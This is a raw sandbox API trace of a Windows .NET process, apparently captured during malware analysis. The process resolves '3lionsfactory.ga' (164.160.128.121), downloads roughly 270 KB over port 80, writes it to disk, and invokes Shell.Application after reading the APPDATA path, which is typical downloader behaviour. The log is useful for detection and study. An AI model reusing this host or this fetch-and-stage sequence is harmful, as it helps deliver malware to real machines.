	[0089.894] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c19d0c, cbSid=0x5eaefbc | out: pSid=0x2c19d0c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefbc) returned 1
	[0089.894] GetLastError () returned 0x0
	[0089.894] CreateMutexW (lpMutexAttributes=0x2c19e1c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.894] GetLastError () returned 0x0
	[0089.894] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.894] GetLastError () returned 0x0
	[0089.894] ReleaseMutex (hMutex=0x430) returned 1
	[0089.894] GetLastError () returned 0x0
	[0089.895] CloseHandle (hObject=0x430) returned 1
	[0089.895] GetLastError () returned 0x0
	[0089.895] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c1a590, cbSid=0x5eaefbc | out: pSid=0x2c1a590*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefbc) returned 1
	[0089.895] GetLastError () returned 0x0
	[0089.895] CreateMutexW (lpMutexAttributes=0x2c1a6a0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.895] GetLastError () returned 0x0
	[0089.895] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.895] GetLastError () returned 0x0
	[0089.895] ReleaseMutex (hMutex=0x430) returned 1
	[0089.895] GetLastError () returned 0x0
	[0089.895] CloseHandle (hObject=0x430) returned 1
	[0089.895] GetLastError () returned 0x0
	[0089.895] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c1ae24, cbSid=0x5eaefbc | out: pSid=0x2c1ae24*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefbc) returned 1
	[0089.895] GetLastError () returned 0x0
	[0089.896] CreateMutexW (lpMutexAttributes=0x2c1af34, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.896] GetLastError () returned 0x0
	[0089.896] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.896] GetLastError () returned 0x0
	[0089.896] ReleaseMutex (hMutex=0x430) returned 1
	[0089.896] GetLastError () returned 0x0
	[0089.896] CloseHandle (hObject=0x430) returned 1
	[0089.896] GetLastError () returned 0x0
	[0089.896] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2c1b6b0, cbSid=0x5eaefbc | out: pSid=0x2c1b6b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x5eaefbc) returned 1
	[0089.896] GetLastError () returned 0x0
	[0089.896] CreateMutexW (lpMutexAttributes=0x2c1b7c0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x430
	[0089.896] GetLastError () returned 0x0
	[0089.896] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x1f4) returned 0x0
	[0089.896] GetLastError () returned 0x0
	[0089.896] ReleaseMutex (hMutex=0x430) returned 1
	[0089.896] GetLastError () returned 0x0
	[0089.897] CloseHandle (hObject=0x430) returned 1
	[0089.897] GetLastError () returned 0x0
	[0089.899] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x430
	[0089.899] GetLastError () returned 0x0
	[0089.899] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x438
	[0089.899] GetLastError () returned 0x0
	[0089.900] ioctlsocket (in: s=0x430, cmd=-2147195266, argp=0x5eaf208 | out: argp=0x5eaf208) returned 0
	[0089.900] GetLastError () returned 0x0
	[0089.901] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x43c
	[0089.901] GetLastError () returned 0x0
	[0089.901] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x440
	[0089.901] GetLastError () returned 0x0
	[0089.901] ioctlsocket (in: s=0x43c, cmd=-2147195266, argp=0x5eaf208 | out: argp=0x5eaf208) returned 0
	[0089.901] GetLastError () returned 0x0
	[0089.902] WSAIoctl (in: s=0x430, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5eaf1ec, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5eaf1ec, lpOverlapped=0x0) returned -1
	[0089.902] GetLastError () returned 0x2733
	[0089.903] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x6a21c8, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0089.928] GetLastError () returned 0x2733
	[0089.929] WSAEventSelect (s=0x430, hEventObject=0x438, lNetworkEvents=512) returned 0
	[0089.929] GetLastError () returned 0x0
	[0089.929] WSAIoctl (in: s=0x43c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5eaf1ec, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5eaf1ec, lpOverlapped=0x0) returned -1
	[0089.929] GetLastError () returned 0x2733
	[0089.929] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x6a21c8, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0089.929] GetLastError () returned 0x2733
	[0089.953] WSAEventSelect (s=0x43c, hEventObject=0x440, lNetworkEvents=512) returned 0
	[0089.953] GetLastError () returned 0x0
	[0089.953] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x444
	[0089.953] GetLastError () returned 0x0
	[0089.953] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x444, param_3=0x3) returned 0x0
	[0089.956] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x5eaf1d0 | out: phkResult=0x5eaf1d0*=0x45c) returned 0x0
	[0089.956] GetLastError () returned 0x0
	[0089.956] RegOpenKeyExW (in: hKey=0x45c, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eaf18c | out: phkResult=0x5eaf18c*=0x460) returned 0x0
	[0089.956] GetLastError () returned 0x0
	[0089.957] RegNotifyChangeKeyValue (hKey=0x460, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x464, fAsynchronous=1) returned 0x0
	[0089.957] GetLastError () returned 0x0
	[0089.957] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eaf18c | out: phkResult=0x5eaf18c*=0x468) returned 0x0
	[0089.957] GetLastError () returned 0x0
	[0089.957] RegNotifyChangeKeyValue (hKey=0x468, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x46c, fAsynchronous=1) returned 0x0
	[0089.957] GetLastError () returned 0x0
	[0089.957] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eaf18c | out: phkResult=0x5eaf18c*=0x470) returned 0x0
	[0089.957] GetLastError () returned 0x0
	[0089.957] RegNotifyChangeKeyValue (hKey=0x470, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x474, fAsynchronous=1) returned 0x0
	[0089.957] GetLastError () returned 0x0
	[0089.957] GetCurrentProcess () returned 0xffffffff
	[0089.957] GetLastError () returned 0x3f0
	[0089.957] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaf174 | out: TokenHandle=0x5eaf174*=0x478) returned 1
	[0089.957] GetLastError () returned 0x3f0
	[0089.960] GetCurrentProcess () returned 0xffffffff
	[0089.960] GetLastError () returned 0x3f0
	[0089.960] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaed90 | out: TokenHandle=0x5eaed90*=0x47c) returned 1
	[0089.960] GetLastError () returned 0x3f0
	[0089.962] GetCurrentProcess () returned 0xffffffff
	[0089.962] GetLastError () returned 0x3f0
	[0089.963] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaeda0 | out: TokenHandle=0x5eaeda0*=0x480) returned 1
	[0089.963] GetLastError () returned 0x3f0
	[0090.060] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x6925c8 | out: pProxyConfig=0x6925c8) returned 1
	[0090.573] GetLastError () returned 0x0
	[0090.582] SetEvent (hEvent=0x3c0) returned 1
	[0090.582] GetLastError () returned 0x0
	[0090.597] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x5eaf128 | out: ppwstrAutoConfigUrl=0x5eaf128*=0x0) returned 0
	[0100.850] GetLastError () returned 0x2f94
	[0100.850] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x5eaf128 | out: ppwstrAutoConfigUrl=0x5eaf128*=0x0) returned 0
	[0103.818] GetLastError () returned 0x2f94
	[0103.825] GetCurrentProcess () returned 0xffffffff
	[0103.825] GetLastError () returned 0x3f0
	[0103.825] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaedc8 | out: TokenHandle=0x5eaedc8*=0x4f0) returned 1
	[0103.825] GetLastError () returned 0x3f0
	[0103.826] GetCurrentProcess () returned 0xffffffff
	[0103.826] GetLastError () returned 0x3f0
	[0103.826] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x5eaedd8 | out: TokenHandle=0x5eaedd8*=0x4e8) returned 1
	[0103.826] GetLastError () returned 0x3f0
	[0103.827] SetEvent (hEvent=0x3c0) returned 1
	[0103.827] GetLastError () returned 0x3f0
	[0103.838] inet_addr (cp="3lionsfactory.ga") returned 0xffffffff
	[0103.838] GetLastError () returned 0x3f0
	[0103.854] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x5eaf128 | out: pFixedInfo=0x0, pOutBufLen=0x5eaf128) returned 0x6f
	[0103.875] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x5b07f0
	[0103.875] GetLastError () returned 0x0
	[0103.875] GetNetworkParams (in: pFixedInfo=0x5b07f0, pOutBufLen=0x5eaf128 | out: pFixedInfo=0x5b07f0, pOutBufLen=0x5eaf128) returned 0x0
	[0103.883] inet_addr (cp="192.168.0.1") returned 0x100a8c0
	[0103.883] GetLastError () returned 0x0
	[0103.887] LocalFree (hMem=0x5b07f0) returned 0x0
	[0103.887] GetLastError () returned 0x0
	[0103.897] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f8
	[0103.898] GetLastError () returned 0x0
	[0103.898] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f4
	[0103.898] GetLastError () returned 0x0
	[0103.899] inet_addr (cp="3lionsfactory.ga") returned 0xffffffff
	[0103.899] GetLastError () returned 0x0
	[0103.901] getaddrinfo (in: pNodeName="3lionsfactory.ga", pServiceName=0x0, pHints=0x5eaf004*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x5eaed98 | out: ppResult=0x5eaed98*=0x6aef78*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="3lionsfactory.ga", ai_addr=0x6aaf08*(sa_family=2, sin_port=0x0, sin_addr="164.160.128.121"), ai_next=0x0)) returned 0
	[0104.107] GetLastError () returned 0x0
	[0104.108] FreeAddrInfoW (pAddrInfo=0x6aef78*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="氳潩獮慦瑣牯⹹慧", ai_addr=0x6aaf08*(sa_family=2, sin_port=0x0, sin_addr="164.160.128.121"), ai_next=0x0)) 
	[0104.108] GetLastError () returned 0x0
	[0104.109] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x504
	[0104.109] GetLastError () returned 0x0
	[0104.110] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec
	[0104.110] GetLastError () returned 0x0
	[0104.110] ioctlsocket (in: s=0x504, cmd=-2147195266, argp=0x5eaefe8 | out: argp=0x5eaefe8) returned 0
	[0104.110] GetLastError () returned 0x0
	[0104.110] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x50c
	[0104.110] GetLastError () returned 0x0
	[0104.110] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x510
	[0104.110] GetLastError () returned 0x0
	[0104.111] ioctlsocket (in: s=0x50c, cmd=-2147195266, argp=0x5eaefe8 | out: argp=0x5eaefe8) returned 0
	[0104.111] GetLastError () returned 0x0
	[0104.111] WSAIoctl (in: s=0x504, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5eaefcc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5eaefcc, lpOverlapped=0x0) returned -1
	[0104.111] GetLastError () returned 0x2733
	[0104.111] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x6a21c8, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0104.111] GetLastError () returned 0x2733
	[0104.111] WSAEventSelect (s=0x504, hEventObject=0x4ec, lNetworkEvents=512) returned 0
	[0104.111] GetLastError () returned 0x0
	[0104.111] WSAIoctl (in: s=0x50c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x5eaefcc, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x5eaefcc, lpOverlapped=0x0) returned -1
	[0104.111] GetLastError () returned 0x2733
	[0104.111] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x6a21c8, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0104.111] GetLastError () returned 0x2733
	[0104.111] WSAEventSelect (s=0x50c, hEventObject=0x510, lNetworkEvents=512) returned 0
	[0104.111] GetLastError () returned 0x0
	[0104.113] GetAdaptersAddresses () returned 0x6f
	[0104.117] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x6013740
	[0104.117] GetLastError () returned 0x0
	[0104.117] GetAdaptersAddresses () returned 0x0
	[0104.135] WSAConnect (in: s=0x4f8, name=0x2c22fc8*(sa_family=2, sin_port=0x50, sin_addr="164.160.128.121"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0
	[0104.279] GetLastError () returned 0x0
	[0104.279] closesocket (s=0x4f4) returned 0
	[0104.279] GetLastError () returned 0x0
	[0104.280] send (in: s=0x4f8, buf=0x2c23340*, len=99, flags=0 | out: buf=0x2c23340*) returned 99
	[0104.280] GetLastError () returned 0x0
	[0104.295] setsockopt (s=0x4f8, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0
	[0104.295] GetLastError () returned 0x0
	[0104.295] recv (in: s=0x4f8, buf=0x2c20160, len=4096, flags=0 | out: buf=0x2c20160*) returned 4096
	[0104.427] GetLastError () returned 0x0
	[0104.428] setsockopt (s=0x4f8, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0
	[0104.428] GetLastError () returned 0x0
	[0104.428] recv (in: s=0x4f8, buf=0x2c2530c, len=65536, flags=0 | out: buf=0x2c2530c*) returned 44
	[0104.428] GetLastError () returned 0x0
	[0104.428] recv (in: s=0x4f8, buf=0x2c2530c, len=65536, flags=0 | out: buf=0x2c2530c*) returned 53820
	[0105.299] GetLastError () returned 0x0
	[0105.301] recv (in: s=0x4f8, buf=0x2c2530c, len=65536, flags=0 | out: buf=0x2c2530c*) returned 2760
	[0105.301] GetLastError () returned 0x0
	[0105.301] recv (in: s=0x4f8, buf=0x2c2530c, len=65536, flags=0 | out: buf=0x2c2530c*) returned 34500
	[0106.169] GetLastError () returned 0x0
	[0106.169] WriteFile (in: hFile=0x39c, lpBuffer=0x2c353c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5eaf2b0, lpOverlapped=0x0 | out: lpBuffer=0x2c353c0*, lpNumberOfBytesWritten=0x5eaf2b0*=0x1000, lpOverlapped=0x0) returned 1
	[0106.169] GetLastError () returned 0x0
	[0106.169] WriteFile (in: hFile=0x39c, lpBuffer=0x2c25844*, nNumberOfBytesToWrite=0x818c, lpNumberOfBytesWritten=0x5eaf2b0, lpOverlapped=0x0 | out: lpBuffer=0x2c25844*, lpNumberOfBytesWritten=0x5eaf2b0*=0x818c, lpOverlapped=0x0) returned 1
	[0106.169] GetLastError () returned 0x0
	[0106.169] recv (in: s=0x4f8, buf=0x2c2530c, len=65536, flags=0 | out: buf=0x2c2530c*) returned 65536
	[0107.899] GetLastError () returned 0x0
	[0107.899] WriteFile (in: hFile=0x39c, lpBuffer=0x2c2530c*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x5eaf2b0, lpOverlapped=0x0 | out: lpBuffer=0x2c2530c*, lpNumberOfBytesWritten=0x5eaf2b0*=0x10000, lpOverlapped=0x0) returned 1
	[0107.900] GetLastError () returned 0x0
	[0107.900] recv (in: s=0x4f8, buf=0x2c2530c, len=65536, flags=0 | out: buf=0x2c2530c*) returned 704
	[0107.900] GetLastError () returned 0x0
	[0107.900] recv (in: s=0x4f8, buf=0x2c2530c, len=65536, flags=0 | out: buf=0x2c2530c*) returned 28980
	[0109.590] GetLastError () returned 0x0
	[0109.590] WriteFile (in: hFile=0x39c, lpBuffer=0x2c353c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5eaf2b0, lpOverlapped=0x0 | out: lpBuffer=0x2c353c0*, lpNumberOfBytesWritten=0x5eaf2b0*=0x1000, lpOverlapped=0x0) returned 1
	[0109.591] GetLastError () returned 0x0
	[0109.591] WriteFile (in: hFile=0x39c, lpBuffer=0x2c2604c*, nNumberOfBytesToWrite=0x63f4, lpNumberOfBytesWritten=0x5eaf2b0, lpOverlapped=0x0 | out: lpBuffer=0x2c2604c*, lpNumberOfBytesWritten=0x5eaf2b0*=0x63f4, lpOverlapped=0x0) returned 1
	[0109.591] GetLastError () returned 0x0
	[0109.591] recv (in: s=0x4f8, buf=0x2c2530c, len=55575, flags=0 | out: buf=0x2c2530c*) returned 27600
	[0111.540] GetLastError () returned 0x0
	[0111.540] WriteFile (in: hFile=0x39c, lpBuffer=0x2c2530c*, nNumberOfBytesToWrite=0x6bd0, lpNumberOfBytesWritten=0x5eaf2b0, lpOverlapped=0x0 | out: lpBuffer=0x2c2530c*, lpNumberOfBytesWritten=0x5eaf2b0*=0x6bd0, lpOverlapped=0x0) returned 1
	[0111.540] GetLastError () returned 0x0
	[0111.540] recv (in: s=0x4f8, buf=0x2c2530c, len=27975, flags=0 | out: buf=0x2c2530c*) returned 15180
	[0112.011] GetLastError () returned 0x0
	[0112.011] WriteFile (in: hFile=0x39c, lpBuffer=0x2c2530c*, nNumberOfBytesToWrite=0x3b4c, lpNumberOfBytesWritten=0x5eaf2b0, lpOverlapped=0x0 | out: lpBuffer=0x2c2530c*, lpNumberOfBytesWritten=0x5eaf2b0*=0x3b4c, lpOverlapped=0x0) returned 1
	[0112.012] GetLastError () returned 0x0
	[0112.012] recv (in: s=0x4f8, buf=0x2c2530c, len=12795, flags=0 | out: buf=0x2c2530c*) returned 12795
	[0112.588] GetLastError () returned 0x0
	[0112.595] CLSIDFromProgIDEx (in: lpszProgID="Shell.Application", lpclsid=0x5eaf244 | out: lpclsid=0x5eaf244*(Data1=0x13709620, Data2=0xc279, Data3=0x11ce, Data4=([0]=0xa4, [1]=0x9e, [2]=0x44, [3]=0x45, [4]=0x53, [5]=0x54, [6]=0x0, [7]=0x0))) returned 0x0
	[0112.606] CoGetClassObject (in: rclsid=0x63c71c*(Data1=0x13709620, Data2=0xc279, Data3=0x11ce, Data4=([0]=0xa4, [1]=0x9e, [2]=0x44, [3]=0x45, [4]=0x53, [5]=0x54, [6]=0x0, [7]=0x0)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f11a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5eaefd4 | out: ppv=0x5eaefd4*=0x697a14) returned 0x0
	[0112.624] Shell:IUnknown:QueryInterface (in: This=0x697a14, riid=0x6f207ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5eaee04 | out: ppvObject=0x5eaee04*=0x0) returned 0x80004002
	[0112.625] Shell:IClassFactory:CreateInstance (in: This=0x697a14, pUnkOuter=0x0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaee3c | out: ppvObject=0x5eaee3c*=0x601a3a4) returned 0x0
	[0112.627] IUnknown:QueryInterface (in: This=0x601a3a4, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaebe0 | out: ppvObject=0x5eaebe0*=0x601a3a4) returned 0x0
	[0112.627] IUnknown:QueryInterface (in: This=0x601a3a4, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5eaeb9c | out: ppvObject=0x5eaeb9c*=0x0) returned 0x80004002
	[0112.627] IUnknown:QueryInterface (in: This=0x601a3a4, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5eaea90 | out: ppvObject=0x5eaea90*=0x0) returned 0x80004002
	[0112.628] IUnknown:AddRef (This=0x601a3a4) returned 0x3
	[0112.628] CoGetContextToken (in: pToken=0x5eaea28 | out: pToken=0x5eaea28) returned 0x0
	[0112.628] CoGetObjectContext (in: riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x600822c | out: ppv=0x600822c*=0x5c7ec0) returned 0x0
	[0112.628] IUnknown:QueryInterface (in: This=0x601a3a4, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaea10 | out: ppvObject=0x5eaea10*=0x601a304) returned 0x0
	[0112.628] IMarshal:GetUnmarshalClass (in: This=0x601a304, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5eaea18 | out: pCid=0x5eaea18*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0112.628] IUnknown:Release (This=0x601a304) returned 0x3
	[0112.629] CoGetContextToken (in: pToken=0x5eaea20 | out: pToken=0x5eaea20) returned 0x0
	[0112.629] IUnknown:AddRef (This=0x601a3a4) returned 0x4
	[0112.629] IUnknown:QueryInterface (in: This=0x601a3a4, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaea94 | out: ppvObject=0x5eaea94*=0x601a38c) returned 0x0
	[0112.629] IUnknown:Release (This=0x601a3a4) returned 0x4
	[0112.629] IRpcOptions:Query (in: This=0x601a38c, pPrx=0x601a3a4, dwProperty=2, pdwValue=0x5eaeab8 | out: pdwValue=0x5eaeab8) returned 0x0
	[0112.630] IUnknown:Release (This=0x601a38c) returned 0x3
	[0112.630] IUnknown:Release (This=0x601a3a4) returned 0x2
	[0112.630] Shell:IUnknown:Release (This=0x697a14) returned 0x0
	[0112.631] IUnknown:Release (This=0x601a3a4) returned 0x1
	[0112.633] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0112.633] GetLastError () returned 0x0
	[0112.633] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0112.633] GetLastError () returned 0x0
	[0112.634] CoGetContextToken (in: pToken=0x5eaf150 | out: pToken=0x5eaf150) returned 0x0
	[0112.634] CoGetContextToken (in: pToken=0x5eaf110 | out: pToken=0x5eaf110) returned 0x0
	[0112.634] IUnknown:AddRef (This=0x601a3a4) returned 0x2
	[0112.634] IUnknown:QueryInterface (in: This=0x601a3a4, riid=0x5eaf18c*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaf188 | out: ppvObject=0x5eaf188*=0x697b34) returned 0x0
	[0112.639] IUnknown:Release (This=0x601a3a4) returned 0x2
	[0112.639] IUnknown:Release (This=0x697b34) returned 0x1
	[0112.644] CoGetContextToken (in: pToken=0x5eaf11c | out: pToken=0x5eaf11c) returned 0x0
	[0112.644] CoGetContextToken (in: pToken=0x5eaf0dc | out: pToken=0x5eaf0dc) returned 0x0
	[0112.644] IUnknown:AddRef (This=0x601a3a4) returned 0x2
	[0112.644] IUnknown:QueryInterface (in: This=0x601a3a4, riid=0x5eaf158*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaf154 | out: ppvObject=0x5eaf154*=0x697b34) returned 0x0
	[0112.644] IUnknown:Release (This=0x601a3a4) returned 0x2
	[0112.644] IUnknown:AddRef (This=0x697b34) returned 0x3
	[0112.644] IDispatch:GetTypeInfo (in: This=0x697b34, iTInfo=0x0, lcid=0x0, ppTInfo=0x5eaf288 | out: ppTInfo=0x5eaf288*=0x697c0c) returned 0x0
	[0112.686] IUnknown:QueryInterface (in: This=0x697c0c, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaeb94 | out: ppvObject=0x5eaeb94*=0x601a584) returned 0x0
